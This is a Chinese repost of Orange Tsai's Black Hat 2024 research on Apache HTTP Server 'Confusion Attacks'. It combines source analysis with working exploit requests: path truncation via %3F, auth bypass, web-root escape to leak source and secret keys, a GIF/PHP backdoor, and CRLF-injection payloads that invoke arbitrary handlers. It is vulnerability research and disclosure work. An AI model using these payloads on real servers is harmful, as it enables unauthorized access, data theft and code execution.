特别感谢Orange Tsai的授权转载
作者Orange Tsai的账号:https://x.com/orange_8361
嗨,这是我今年发表在Black Hat USA 2024上针对Apache HTTP Server 的研究。此外,这份研究也将在HITCON和OrangeCon上发表,有兴趣抢先了解可点此取得投影片:
Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
另外也谢谢来自Akamai 的友善联系!此份研究发表后第一时间他们也发布了缓解措施(详情可参考Akamai 的blog)。
这篇文章探索了Apache HTTP Server 中存在的架构问题,介绍了数个Httpd 的架构债, 包含3 种不同的Confusion Attacks、9 个新漏洞、20 种攻击手法以及超过30 种案例分析 。包括但不限于:
?
绕过Httpd 内建的存取控制以及认证。RewriteRule
怎么跳脱Web Root 并存取整个文件系统。故事是如何开始的?
为什么Apache HTTP Server 闻起来臭臭的?
关于这次的新攻击面:Confusion Attacks
CVE-2024-38472 - 基于Windows UNC 的SSRF
CVE-2024-39573 - 基于RewriteRule 前缀可完全控制的SSRF
通过HTTP 请求解析器触发
通过Type-Map 触发
Primitive 3-1. Overwrite the Handler
Primitive 3-2. Invoke Arbitrary Handlers
3-1-1. Overwrite Handler to Disclose PHP Source Code
3-1-2. Overwrite Handler to ██████ ███████ ██████
3-2-1. Arbitrary Handler to Information Disclosure
3-2-2. Arbitrary Handler to Misinterpret Scripts
3-2-2. Arbitrary Handler to Full SSRF
3-2-3. Arbitrary Handler to Access Local Unix Domain Socket
3-2-4. Arbitrary Handler to RCE
Primitive 2-1. Server-Side Source Code Disclosure
Primitive 2-2. Local Gadgets Manipulation!
Primitive 2-3. Jailbreak from Local Gadgets
2-1-1. Disclose CGI Source Code
2-1-2. Disclose PHP Source Code
2-2-1. Local Gadget to Information Disclosure
2-2-2. Local Gadget to XSS
2-2-3. Local Gadget to LFI
2-2-4. Local Gadget to SSRF
2-2-5. Local Gadget to RCE
2-3-1. Jailbreak from Local Gadgets
2-3-2. Jailbreak Local Gadgets to Redmine RCE
Primitive 1-1. Truncation
Primitive 1-2. ACL Bypass
1-1-1. Path Truncation
1-1-2. Mislead RewriteFlag Assignment
未来研究方向
结语
大概是在今年年初的时候,我开始思考下一个研究的目标,也许你知道我总是希望挑战那些影响整个网络的大目标,所以开始寻找一些看似复杂的主题或有趣的开源项目,例如Nginx、PHP、甚至开始看起RFC 来强化自己对于协议实作细节的认知。
虽然大部分的尝试都以失败告终(不过有些也许会变成下一篇blog主题😉),但在细细品尝这些程序代码时,我回忆起了曾经在去年年中短暂看过Apache HTTP Server 原码这件事!尽管最终由于工作的时间规划并无深入的阅读程序代码,但在那时就已经从它的编码风格上「闻」到了一些不太好的味道。
于是在今年决定继续下去,把「为什么闻起来怪怪的」这件事从原本只是一个说不出的「感觉」具象化,深入下去研究Apache HTTP Server!
首先,Apache HTTP Server 是一个由「模块」建构起来的世界,从它官方文件中也看到其对于自身模块化(MPMs - Multi-Processing Modules) 的自豪:
Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.
整个Httpd 的服务需要由数百个小模块齐心合力,共同合作才能完成客户端的HTTP 请求,官方所列出的136 个模块 其中约有一半是预设启用或经常被使用的模块 !
而更令人惊讶的是,这么多模块在处理客户端HTTP 请求的时候,彼此之间还要共同维护着一份非常巨大的 request_rec
结构。这个结构包括了在处理HTTP 时会用到的一切元素,详细的定义可以从include/httpd.h中找到。所有模块都依赖这个巨大的结构去同步、沟通,甚至交换资料。这个内部结构会像是抛接球般在所有模块间传递来传递去,每个模块都可以根据自己的喜好去随意修改这个结构上的任意值!
这样子的合作方式从软件工程的角度来说其实不是什么新鲜事,个体只需专心把份内事完成,只要所有人都乖乖完成自己的工作,那客户就可以正常享受Httpd 所提供的服务。这样子的分工在数个模块内可能还没什么问题, 但如果今天把规模放大到数百个模块间的协同合作—— 它们真的有办法好好合作吗? 🤔
所以我们的出发点很简单—— 模块间其实并不完全了解彼此的实现细节,但却又被要求要一起合作 。每个模块可能由不同的开发者实现,程序代码历经多年的叠代、重整以及修改,它们真的还清楚自己在做什么吗?就算对自己了若指掌,那对其它模块呢?在缺乏一个好的开发标准或使用准则下,这中间必然会存在很多小缝隙是我们可以利用的!
基于前面的思考,我们开始专注在 研究这些模块间的「关系」以及「交互作用」 。如果有一个模块不小心修改到了它觉得不重要但对另一个模块至关重要的结构字段,那可能就会影响该模块的判断。甚至更进一步,如果Apache HTTP Server 对这些结构的定义不够精确,导致不同模块对同一个字段在理解上有着根本的不一致,这都可能产生安全上的风险!
从这个出发点我们发展出了三种不同的攻击,由于这些攻击或多或少都是模块对于结构字段的误用有关,因此把这个攻击面命名为「Confusion Attack」,而以下是我们所发展出的攻击:
从这些攻击出发我们找到了9 个不同的漏洞:
这些漏洞都通过官方的安全信箱报告,并由Apache HTTP Server 团队在2024-07-01 发布安全性通报以及2.4.60 更新(详细可参考官方公告)。
由于这是一个针对Httpd 架构以及其内部机制所带来的新攻击面,理所当然第一个参与的人可以找到最多漏洞,因此我也是目前拥有最多Apache HTTP Server CVE 的人😉,导致很多更新修复由于其历史架构无法向下兼容。所以对于很多运行许久的正式服务器来说修复并不是一件容易的事,若网站管理员不经思考就直接更新反而会打破许多旧有的配置造成服务中断。😨
接下来就开始介绍这次发展出来的攻击面吧!
首先,第一个是基于Filename 字段上的Confusion,从字面上来看 r->filename
应该是一个文件系统路径,然而在Httpd 中,有些模块会把它当成网址来处理。如果在HTTP 请求的上下文中,有些模块把 r->filename
当成文件路径,而其他模块将它当成网址,这其中的不一致就会造成安全上的问题!
所以哪些模块会把 r->filename
当成网址呢?首先是 mod_rewrite
允许网站管理员通过 RewriteRule
语法轻松的将路径通过指定的规则改写:
RewriteRule Pattern Substitution [flags]
其中目标可以是一个文件系统路径或是一个网址,我想这应该是一个为了使用者体验所做出的方便,但同时这个「方便」也带出了一些风险,例如 在改写路径时,mod_rewrite会强制把结果视为网址处理( splitout_queryargs()) ,这导致了在HTTP 请求中可以通过一个问号 %3F
去截断 RewriteRule
后面的路径或网址,并引出以下两种攻击手法。
Path: modules/mappers/mod_rewrite.c#L4141
/*
* Apply a single RewriteRule
*/
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
apr_array_header_t *rewriteconds;
rewritecond_entry *conds;
// [...]
for (i = 0; i < rewriteconds->nelts; ++i) {
rewritecond_entry *c = &conds[i];
rc = apply_rewrite_cond(c, ctx);
// [...] do the remaining stuff
}
/* Now adjust API's knowledge about r->filename and r->args */
r->filename = newuri;
if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
r->path_info = NULL;
}
splitout_queryargs(r, p->flags); // <------- [!!!] Truncate the `r->filename`
// [...]
}
首先,第一个攻击手法是文件系统路径上的截断,想像下面这个 RewriteRule
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
服务器会根据网址路径 /user/
后的使用者名称开启相对应的个人配置文件,例如:
$ curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
由于 mod_rewrite
会强制将重写后的结果当成一个网址处理,因此虽然目标是一个文件系统路径,但却可以通过一个问号去截断后方的 /profile.yml
例如:
$ curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
这是我们的第一个攻击手法—— 路径截断。对于这个攻击手法的探索先稍稍停留在这边,虽然目前看起来还只是一个小瑕疵,但请先记好它,因为这会在之后的攻击中一再的出现,慢慢把这个看似无用的小破口撕裂开来!😜
截断手法的第二个利用是误导 RewriteFlag
的设置,想像网站管理员通过下列的 RewriteRule
去管理网站中路径以及相对应模块:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
如果请求以 .php
扩展结束,它会为其添加相应的处理程序 mod_php
(此外也可以是环境变数或是 Content-Type
,关于标志的详细配置可参考官方的手册RewriteRule Flags)。
由于 mod_rewrite
的截断行为发生在正规表达式匹配后,因此恶意的攻击者可以利用原本的规则,通过 ?
将 RewriteFlag
配置到不属于它们的请求上。例如上传一个夹带恶意PHP程序代码的GIF 图片并通过恶意请求将图片当成后门执行:
$ curl http://server/upload/1.gif
# GIF89a <?=`id`;>
$ curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
Filename Confusion 的第二个攻击手法发生在 mod_proxy
身上,相较前一个攻击是无条件将目标当成网址处理,这次则是 因为模块间对r->filename的理解不一致所导致的认证及存取控制绕过 !
mod_proxy
会将 r->filename
当成网址这件事情其实很合理,因为原本Proxy 的目的就是将请求「重定向」到其它网址上,但安全往往就是单独拿出来看没问题,搭配在一起就出问题了!特别是当大多数模块预设将 r->filename
视为文件系统路径时,试想一下假设今天你使用基于文件系统的存取控制模块,而现在 mod_proxy
又会把 r->filename
当成网址,这其中的不一致就可以导致存取控制或是认证被绕过!
一个经典的例子是,网站管理员通过 Files
语法去对单一文件加上限制,例如 admin.php
:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
在预设安装的PHP-FPM 环境中,这种配置可以被直接绕过!顺道一提这也是Apache HTTP Server 中最常见到的认证方式!假设今天你浏览了这样的网址:
首先在这个网址的HTTP 生命周期中,认证模块会将请求的文件名称与被保护的文件进行比对,此时 r->filename
字段是 admin.php?ooo.php
理所当然与 admin.php
不符合,于是模块会认为当前请求不需要认证。然而PHP-FPM 的配置文件又配置当收到结尾为 .php
的请求时通过 SetHandler
语法将请求转交给 mod_proxy
:
Path: /etc/apache2/mods-enabled/php8.2-fpm.conf
# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+\.ph(?:ar|p|tml)$">
SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>
mod_proxy
会将 r->filename
重写成以下网址,并调用子模块 mod_proxy_fcgi
处理后续的FastCGI协议:
proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php
由于这时后端在收到文件名称时已经是一个奇怪的格式了,PHP-FPM 只好对这个行为做特别处理,其中处理的逻辑如下:
Path: sapi/fpm/fpm/fpm_main.c#L1044
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"
if (env_script_filename &&
strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
/* advance to first character of hostname */
char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
while (*p != '\0' && *p != '/') {
p++; /* move past hostname and port */
}
if (*p != '\0') {
/* Copy path portion in place to avoid memory leak. Note
* that this also affects what script_path_translated points
* to. */
memmove(env_script_filename, p, strlen(p) + 1);
apache_was_here = 1;
}
/* ignore query string if sent by Apache (RewriteRule) */
p = strchr(env_script_filename, '?');
if (p) {
*p =0;
}
}
可以看到PHP-FPM 先对文件名称正规化并对其中的问号 ?
进行分隔取出其中实际的文件路径并执行(也就是 /var/www/html/admin.php
)。所以基本上 所有使用Files语法针对单一PHP 文件的认证或是存取控制配置在运行PHP-FPM 的情境下都存在风险! 😮
从GitHub 上可以找到非常多潜在有风险的配置,例如被限制在只有内网才能存取的 phpinfo()
:
# protect phpinfo, only allow localhost and local network access
<Files php-info.php>
# LOCAL ACCESS ONLY
# Require local
# LOCAL AND LAN ACCESS
Require ip 10 172 192.168
</Files>
使用 .htaccess
阻挡起来的Adminer:
<Files adminer.php>
Order Allow,Deny
Deny from all
</Files>
被保护起来的 xmlrpc.php
:
<Files xmlrpc.php>
Order Allow,Deny
Deny from all
</Files>
防止直接存取的命令行工具:
<Files "cron.php">
Deny from all
</Files>
通过认证模块以及 mod_proxy
之间对 r->filename
字段理解的不一致,上面所有的例子都可以通过一个 ?
成功绕过!
接下来要介绍的攻击是基于DocumentRoot 上的Confusion Attack!首先你可以思考一下,对于下面这样子的Httpd配置:
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
当浏览 http://server/html/about
时,到底实际Httpd 会开启哪个文件?是根目录下的 /about.html
还是DocumentRoot 下的 /var/www/html/about.html
呢?
答案是—— 两个路径都会存取 。这也是我们的第二个Confusion Attack, 对于任意[1]的RewriteRule,Httpd 总是会尝试开启带有DocumentRoot 的路径以及没有的路径! 有趣吧😉
[1] 位于Server Config或VirtualHost Block内
Path: modules/mappers/mod_rewrite.c#L4939
if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
}
if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) { // <------ [1] access without root
int res;
char *tmp = r->uri;
r->uri = r->filename;
res = ap_core_translate(r); // <------ [2] access with root
r->uri = tmp;
if (res != OK) {
rewritelog((r, 1, NULL, "prefixing with document_root of %s"
" FAILED", r->filename));
return res;
}
rewritelog((r, 2, NULL, "prefixed with document_root to %s",
r->filename));
}
rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
return OK;
}
当然绝大部分的情况是目标文件不存在,于是Httpd 会存取带有DocumentRoot 的版本,但这个行为已经让我们能够「故意的」去存取Web Root 以外的路径, 如果今天可以控制RewriteRule的目标前缀那我们是不是就能浏览操作系统上的任意文件了? 这也是我们第二个Confusion Attack 的精神!从GitHub 中可以找到千千万万个有问题的写法,有趣的是甚至连官方的范例文件都是易遭受攻击的:
# Remove mykey=???
RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"
RewriteRule "(.*)" "$1?%1%3"
除此之外还有其它亦受影响的 RewriteRule
例如基于快取需求或是将想后缀名隐藏起来的URL Masking 规则:
RewriteRule "^/html/(.*)$" "/$1.html"
或是想节省流量,尝试使用压缩版本的静态文件规则:
RewriteRule "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"
将老旧的网站重定向到根目录的规则:
RewriteRule "^/oldwebsite/(.*)$" "/$1"
对所有CORS 的预检请求都回传200 OK 的规则:
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]
理论上只要 RewriteRule
的目标前缀可控,我们可以浏览几乎整个文件系统,但从前面的规则中发现还有一个限制我们必须跨过的,前面例子中所出现的后缀名如 .html
以及 .gz
的后缀都是让我们没那么地自由的一个限制—— 所以可以绕过这个限制吗?不知道有没有人想起前面在Filename Confusion 章节所介绍的路径截断,通过这两个攻击的结合,我们可以自由的浏览操作系统上的任意文件!
接下来的范例都基于这个不安全的 RewriteRule
来做示范:
RewriteEngine On
RewriteRule "^/html/(.*)$" "/$1.html"
首先来介绍DocumentRoot Confusion 的第一个攻击手法—— 任意服务器端程序代码泄漏 !
由于Httpd 会根据当前目录或是当前虚拟主机配置决定是否当成Server-Side Script 处理,因此通过绝对路径去存取目标程序代码可以混淆Httpd 的逻辑导致泄漏原本该被当成程序代码执行的文件内容。
首先是泄漏服务器端的CGI程序代码,由于 mod_cgi
是通过 ScriptAlias
将CGI 目录与所指定的URL 前缀绑定起来,当使用绝对路径直接浏览CGI 时由于URL 前缀变了,因此可以直接泄漏出文件原始代码。
$ curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
接着是泄漏服务器端的PHP程序代码,由于PHP 的使用场景众多,若只针对特定目录或是虚拟主机套用PHP 环境的话(常见于网站代管服务),可以通过未启用PHP 的虚拟主机存取PHP文件以泄漏原始代码!
例如 www.local
以及 static.local
两个虚拟主机都托管在同一台服务器上, www.local
允许运行PHP 而 static.local
则纯粹负责处理静态文件,因此可以通过下面的方式泄漏出 config.php
内的敏感信息:
$ curl http://www.local/config.php
# the processed result (empty) from config.php
$ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
接下来是我们的第二个攻击手法—— Local Gadgets Manipulation 。
首先,在前面介绍到「浏览操作系统上的任意文件」时不知道你有没有好奇:「那是不是一个不安全的 RewriteRule
就可以存取到 /etc/passwd
?」 对的—— 但也不完全对。蛤?
技术上来说确实服务器会去检查 /etc/passwd
是否存在,但Apach HTTP Server 内建的存取控制阻挡了我们的存取,这里是Apache HTTP Server 的配置档模板内容:
<Directory />
AllowOverride None
Require all denied
</Directory>
会观察到预设阻挡了根目录 /
的浏览( Require all denied
),然而实际上这就没戏了吗?实际上再详细追查各个Httpd 的发行版会发现Debian/Ubuntu操作系统预设允许了 /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
所以我们的「任意文件存取」似乎有点那么不任意。不过我们打破原本只能浏览DocumentRoot 的信任算是跨出很大的一步了。接下来要做的事情就是「压榨」这个目录内的各种可能。所有可利用的资源、目录中现有的教学范例、说明文件、单元测试文件,甚至服务器上程序语言如PHP、Python 甚至PHP 的模块都有机会成为我们滥用的对象!
PS :当然上面只是基于Ubuntu/Debian 操作系统发行的Httpd 版本配置做解释,实务上也有发现一些应用软体直接把的根目录的 Require all denied
移除导致可以直接存取 /etc/passwd
首先来寻找看看这个目录下是否存在这一些文件是可以利用的。首先是目标Apache HTTP Server 如果安装 websocketd
这个服务的话,服务套件预设会在 /usr/share/doc/websocketd/examples/php/
下放置一个范例PHP程序代码 dump-env.php
,如果目标服务器上存在PHP 环境的话可以直接存取这个范例程序去泄漏敏感的环境变数。
另外如果目标同时安装如Nginx 或是Jetty 的话,虽然 /usr/share
理论上该是套件安装时所存放的只读副本,但这些服务的预设Web Root 就在 下 /usr/share
,因此也能通过这个攻击手法去泄漏这些网页应用的敏感信息,例如Jetty 上的 web.xml
配置等等:
下面是一个简单的演示,使用作为只读副本存在的包来泄漏 setup.php
内容。 Davical
phpinfo()
接着如何把这个攻击手法转化成XSS 呢?在Ubuntu Desktop 环境中预设会安装LibreOffice 这套开源的办公室应用,利用其中帮助文件的语言切换功能来完成XSS。
Path: /usr/share/libreoffice/help/help.html
var url = window.location.href;
var n = url.indexOf('?');
if (n != -1) {
// the URL came from LibreOffice help (F1)
var version = getParameterByName("Version", url);
var query = url.substr(n + 1, url.length);
var newURL = version + '/index.html?' + query;
window.location.replace(newURL);
} else {
window.location.replace('latest/index.html');
}
因此就算目标没有部属任何网页应用,我们也可以利用一个不安全的 RewriteRule
通过操作系统自带的文件来创造出XSS。
至于任意文件读取呢?如果目标服务器上安装了一些PHP 甚至前端应用套件,例如JpGraph、jQuery-jFeed 甚至WordPress 或Moodle 外挂,那么它们自带的使用教学或是除错用程序代码都可以变成利用的对象,例如:
这里展示利用jQuery-jFeed 所自带的 proxy.php
来读取 /etc/passwd
:
当然找到一个SSRF 也不在话下,例如MagpieRSS 提供了一个 magpie_debug.php
文件就是一个绝佳的小工具:
所以能RCE 吗?别急我们先慢慢来!首先这个攻击手法已经可以把既有的攻击面全部重新套用一次了,例如在某次开发过程中不小心被遗留下来(甚至可能还是被第三方套件所依赖的) 的旧版本PHPUnit,可以直接使用CVE-2017-9841来执行任意程序代码,又或者是安装完phpLiteAdmin (由于是只读副本所以预设密码是 admin
),相信看到这边会发现Local Gadgets Manipulation 这个攻击手法存在着无穷潜力,剩下只是发掘出更厉害以及更通用的小工具!
看到这里你可能会好奇:「真的不能跳出 /usr/share
吗?」 当然可以,这也是要介绍的第三个攻击手法—— 从/usr/share中越狱!
Debian/Ubuntu的Httpd 发行版中预设开启了 FollowSymLinks
选项,就算非Debian/Ubuntu 发行版但Apache HTTP Server 也隐含地预设允许符号连结。
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
因此只要有套件在它的安装目录下符号连结到 /usr/share
外,这个符号连结就成为一个跳板去存取更多的小工具完成更多的利用。这里列出一些我们已经发现可利用的符号连结:
/usr/share/cacti/site/
-> /var/log/cacti/
/usr/share/solr/data/
-> /var/lib/solr/data
/usr/share/solr/conf/
-> /etc/solr/conf/
/usr/share/mediawiki/config/
-> /var/lib/mediawiki/config/
/usr/share/simplesamlphp/config/
-> /etc/simplesamlphp/
越狱攻击手法的最后让我们展示一个利用Redmine 的双层符号连结跳跃去完成RCE 的例子。在预设安装的Redmine程序代码目录中有个 instances/
目录指向 /var/lib/redmine/
,而位于 /var/lib/redmine/
下的 default/config/
目录又指向 /etc/redmine/default/
资料夹,里面存放着Redmine 的资料库配置以及应用程序私钥。
$ file /usr/share/redmine/instances/
symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
database.yml secret_key.txt
于是通过一个不安全的 RewriteRule
以及两层符号连结,我们能够轻松存取到Redmine 所使用的应用程序私钥:
$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
HTTP/1.1 200 OK
Server: Apache/2.4.59 (Ubuntu)
...
6d222c3c3a1881c865428edb79a74405
而Redmine 又是基于Ruby on Rails 所开发的应用程序,其中 secret_key.txt
的内容其实正是其签章加密所使用到的私钥,接下来的流程相信对熟悉攻击RoR 的同学应该不陌生,通过已知的私钥将恶意Marshal 物件签章加密后嵌入Cookie,接着通过服务器端的反序列化最终实现远端程序代码执行!
最后一个要介绍的攻击是Handler 上的Confusion。这个攻击同样也利用了一个Apache HTTP Server 从上古时期架构所遗留下来的技术债。这里通过一个例子来让读者快速的了解这个技术债—— 如果今天想在Httpd 上运行经典的 mod_php
,下面两个语法配置你觉得哪个才是正确的?
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php .php
答案是—— 两个都可以正确地让PHP 运行起来!这里分别是两个配置的语法格式,可以看到两个配置不仅用法、参数类似,现在连效果都一模一样,为什么Apache HTTP Server 当初要设计两个不同的语法?
AddHandler handler-name extension [extension] ...
AddType media-type extension [extension] ...
实际上 handler-name
以及 media-type
在Httpd 的内部结构中代表着不同的字段,分别对应到 r->handler
以及 r->content_type
。而 使用者可以在没有感知的情况下使用则归功于一段从1996 年Apache HTTP Server 开发初期就遗留到现在的程序代码 :
Path: server/config.c#L420
AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) {
// [...]
if (!r->handler) {
if (r->content_type) {
handler = r->content_type;
if ((p=ap_strchr_c(handler, ';')) != NULL) {
char *new_handler = (char *)apr_pmemdup(r->pool, handler,
p - handler + 1);
char *p2 = new_handler + (p - handler);
handler = new_handler;
/* exclude media type arguments */
while (p2 > handler && p2[-1] == ' ')
--p2; /* strip trailing spaces */
*p2='\0';
}
}
else {
handler = AP_DEFAULT_HANDLER_NAME;
}
r->handler = handler;
}
result = ap_run_handler(r);
可以看到在进入主要的模块处理器 ap_run_handler()
之前,如果请求中的 r->handler
为空则把结构中 r->content_type
字段的内容当成最终将被使用的模块处理器。这也就是为什么 AddType
以及 AddHandler
效果一致的主要理由,因为 media-type
最终在执行前还是会被转换成 handler-name
。我们的第三个Handler Confusion 主要也就是围绕在这个行为所发展出来的攻击。
在理解这个转换机制后首先第一个攻击手法是—— Overwrite the Handler ,想像一下如果今天目标的Apache HTTP Server 通过 AddType
将PHP 运行起来。
AddType application/x-httpd-php .php
在正常的流程中浏览 http://server/config.php
。首先, mod_mime
会在 type_checker
阶段根据 AddType
所配置的文件扩展名将相对应的内容复制到 r->content_type
中,由于 r->handler
在整个HTTP 生命周期中并无赋值,于是在执行模块处理器前 ap_invoke_handler()
会将 r->content_type
当成模块处理器,最终调用 mod_php
处理请求。
然而如果今天有任何模块在执行到 ap_invoke_handler()
前「不小心」把 r->content_type
覆写掉了,那会发生什么事呢?
因此这个攻击手法的第一个利用就是通过这个「不小心」去泄漏任意PHP 的原始码。这个技术最早是由Max Dmitriev 在ZeroNights 2021 所发表的研究中提及(kudos to him!),演讲主题及投影片可以从这边看到:
Apache 0day bug, which still nobody knows of, and which was fixed accidentally
Max Dmitriev 观察到只要送出错误的 Content-Length
,远端Httpd服务器会发生不明的错误顺带回传PHP 的原始码,在细追流程后发现其成因是ModSecurity 在使用APR (Apache Portable Runtime) 函示库时并未好好的处理 AP_FILTER_ERROR
回传值所导致的double response。由于发生错误时Httpd 想送出一些HTML 错误信息,于是 r->content_type
也顺便被覆写成 text/html
。
由于ModSecurity 并未妥善的处理回传值使得本该停止的Httpd 内部流程继续执行,而这个「副作用」又会把原本加上的给 Content-Type
覆写掉,导致最终该被当成PHP 的文件被当成一般文件处理并将其中的程序代码及敏感配置打印出。🤫
$ curl -v http://127.0.0.1:/info.php -H "Content-Length: x"
> HTTP/1.1 400 Bad Request
> Date: Mon, 29 Jul 2024 05:32:23 GMT
> Server: Apache/2.4.41 (Ubuntu)
> Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
...
<?php phpinfo();?>
理论上所有基于 Content-Type
的配置语法都容易遭受此类问题影响,所以除了Max 在投影片中所展示的 php-cgi
搭配 mod_actions
外,纯粹的 mod_php
搭配上 AddType
也同样也受影响。
另外值得一提的是,这个副作用在Apache HTTP Server 版本2.4.44 时被当成一个增进请求解析器的程序错误被更正,于是这个「漏洞」就被当成已修复直到我重新捡起它。但由于其根本成因还是ModSecurity 并未好好的处理错误,只要找到其它条触发 AP_FILTER_ERROR
的路径那同样的行为还是可以重现成功。
PS 此问题已于6/20 通过官方信箱回报给ModSecurity 并由Project Co-Leader 建议回到原GitHub Issue中讨论。
基于前面提到的double response行为以及副作用,这个攻击手法还可以完成其它更酷的利用,不过由于此问题尚未完全修复,更进一步的利用方式,将于修复完成后再揭露。
仔细思考前面Overwrite Handler 攻击手法,虽然是因为ModSecurity 并未好好的处理错误,导致请求被设置上错误的 Content-Type
。但再深入的探究其根本原因应该是—— Apache HTTP Server 在使用r->content_type时,其实无从辨别它的语意,这个字段既可以是在请求阶段被语法配置好的值,也可以是响应阶段服务器回传Content-Type标头的内容。
所以理论上如果能控制服务器响应中 Content-Type
标头的内容,那就可以通过那段从开发初期遗留至今的程序代码调用任意的模块处理器,这也是Handler Confusion 的最后一个攻击手法—— 调用任意Apache HTTP Server 的内部模块处理器 !
但这里还有最后的一块拼图必须填上,在Httpd 中所有可以从服务器响应修改到 r->content_type
的地方全都发生在那段遗留程序代码之后,就算修改到该字段的内容,此时HTTP 生命周期也进入尾声,无法再做更进一步的利用…… 吗?
我们找了RFC 3875来当救援投手!RFC 3875 是一个关于CGI 的规范,其中6.2.2. 节定义了一个Local Redirect Response 行为:
The CGI script can return a URI path and query-string ('local-pathquery') for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
简单来说规范了CGI 在特定条件下必须使用服务器端的资源去处理重定向,仔细检视 mod_cgi
对于这个规范的实作会发现:
Path: modules/generators/mod_cgi.c#L983
if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf, // <------ [1]
APLOG_MODULE_INDEX)))
{
ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err);
// [...]
if (ret == HTTP_NOT_MODIFIED) {
r->status = ret;
return OK;
}
return ret;
}
location = apr_table_get(r->headers_out, "Location");
if (location && r->status == 200) {
// [...]
}
if (location && location[0] == '/' && r->status == 200) { // <------ [2]
/* This redirect needs to be a GET no matter what the original
* method was.
*/
r->method = "GET";
r->method_number = M_GET;
/* We already read the message body (if any), so don't allow
* the redirected request to think it has one. We can ignore
* Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
*/
apr_table_unset(r->headers_in, "Content-Length");
ap_internal_redirect_handler(location, r); // <------ [3]
return OK;
}
首先 mod_cgi
会先执行CGI 并扫描其输出结果并设置上相对应的 Status
以及 Content-Type
,如果回传的 Status
是200 以及 Location
标头字段是 /
开头则把这个响应当成一个服务器端的重定向并开始处理。再仔细审视 ap_internal_redirect_handler()
的实作会发现:
Path: modules/http/http_request.c#L800
AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r)
{
int access_status;
request_rec *new = internal_internal_redirect(new_uri, r); // <------ [1]
/* ap_die was already called, if an error occured */
if (!new) {
return;
}
if (r->handler)
ap_set_content_type(new, r->content_type); // <------ [2]
access_status = ap_process_request_internal(new); // <------ [3]
if (access_status == OK) {
access_status = ap_invoke_handler(new); // <------ [4]
}
ap_die(access_status, new);
}
Httpd 首先创建了一个新的请求结构并将当前的 r->content_type
复进去,在处完生命周期后调用 ap_invoke_handler()
—— 也就是前面提及包含历史遗留转换的地方,所以 在服务器端重定向中,如果可以控制响应标头,就可以在Httpd 中调用任意的模块处理器。 基本上所有Apache HTTP Server 中的CGI 系列实作都遵守这个行为,这里是一个简单的列表:
至于如何在真实情境中触发这个服务器重定向呢?由于至少需要控制HTTP 响应中 Content-Type
及部分 Location
,这里给出两个情境以供参考:
mod_wsgi
上的django-revproxy项目接下来的范例都基于这个不安全的CRLF Injection 来做示范:
#!/usr/bin/perl
use CGI;
my $q = CGI->new;
my $redir = $q->param("r");
if ($redir =~ m{^https?://}) {
print "Location: $redir\n";
}
print "Content-Type: text/html\n\n";
首先是从任意模块处理器调用到信息泄漏,这里使用了Httpd 内建的 server-status
模块处理器,这个模块处理器通常只被允许从本机存取:
<Location /server-status>
SetHandler server-status
Require local
</Location>
在拥有任意模块处理器调用后,可以通过复写 Content-Type
去存取原本存取不到的敏感信息:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
当然也能轻松的把一张图片转化成PHP 后门,例如当使用者上传了一个拥有合法后缀名的文件后,可以通过这个攻击手法指定特定模块 mod_php
去执行文件内嵌的恶意程序代码,例如:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d% 0a
%0d%0a
